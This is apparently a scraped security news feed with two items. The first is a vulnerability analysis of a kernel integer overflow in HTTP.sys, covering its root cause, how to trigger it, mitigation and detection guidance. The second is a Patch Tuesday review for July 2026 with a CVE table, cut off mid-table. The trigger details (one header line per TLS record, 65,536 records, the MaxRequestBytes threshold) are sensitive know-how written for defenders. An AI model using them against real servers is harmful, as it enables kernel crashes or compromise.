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  <p class="">A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests. </p><p class="">A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.</p><p class=""><strong>The Vulnerability</strong></p><p class=""><em>HTTP.sys</em> is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.</p><p class="">When operating over HTTPS, <em>HTTP.sys</em> delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a <a href="https://www.rfc-editor.org/info/rfc8446/">per-record basis</a>: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to <em>HTTP.sys</em> as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The decrypted payload of each TLS record is delivered independently to the HTTP parser via</p><p class=""><em>UlHttpBufferReceiveEvent()</em>, regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches <em>HTTP.sys</em>.</p><p class="">The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The <em>capacity</em> field stores the current number of allocated slots in the buffer reference array. The <em>count</em> field stores the number of slots currently in use. The <em>ref_array_ptr</em> field points to the dynamically allocated array of 8-byte buffer reference entries.</p><p class="">An integer overflow vulnerability exists in <em>HTTP.sys</em>. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When <em>HTTP.sys</em> receives data for an HTTP/1.x request, it allocates a <em>UL_REQUEST_BUFFER</em> structure for each receive indication and tracks these buffers in the per-request reference array described above. The <em>count</em> field records the number of active buffer references, and the <em>capacity</em> field records the total number of allocated slots. </p><p class="">As the HTTP parser (<em>UlpParseNextRequest()</em>) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When <em>count</em> reaches <em>capacity</em>, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + <em>capacity</em> * 8, the contents of the existing array are copied via <em>memmove</em> using <em>count</em> * 8 as the copy length, and <em>capacity</em> is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.</p><p class="">After 13,107 growth events, <em>capacity</em> reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, <em>count</em> (which is now 65,536 or greater) exceeds the zero <em>capacity</em>, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the <em>memmove</em> copies <em>count</em> * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.</p><p class="">Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and <em>UlpMergeBuffers() </em>further combines buffers within <em>HTTP.sys</em>. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through <em>UlHttpBufferReceiveEvent()</em> into <em>UlpCopyIndicatedData()</em>. If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing <em>UlpAdjustBuffers()</em> to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.</p><p class="">To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The <em>MaxRequestBytes </em>registry value (at <em>HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters</em>) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping <em>MaxRequestBytes</em> at or below 65,535 bytes represents the most conservative configuration to prevent this attack.</p><p class="">A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.</p><p class=""><strong>Notes:</strong></p><p class="">• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.</p><p class="">• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.</p><p class="">• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.</p><p class=""><strong>Source Code Walkthrough</strong></p><p class="">The following code snippet was taken from <em>HTTP.sys</em> version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.</p><p class="">In <em>UlpParseNextRequest()</em>:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><strong>Detection Guidance</strong></p><p class="">To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.</p><p class="">The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.</p><p class="">An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><em>Decrypted traffic inspection:</em></p><p class="">After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Encrypted traffic heuristics:</em></p><p class="">Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Notes:</em></p><p class="">• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.</p><p class="">• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.</p><p class="">• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291">patched</a> by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.</p><p class="">Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
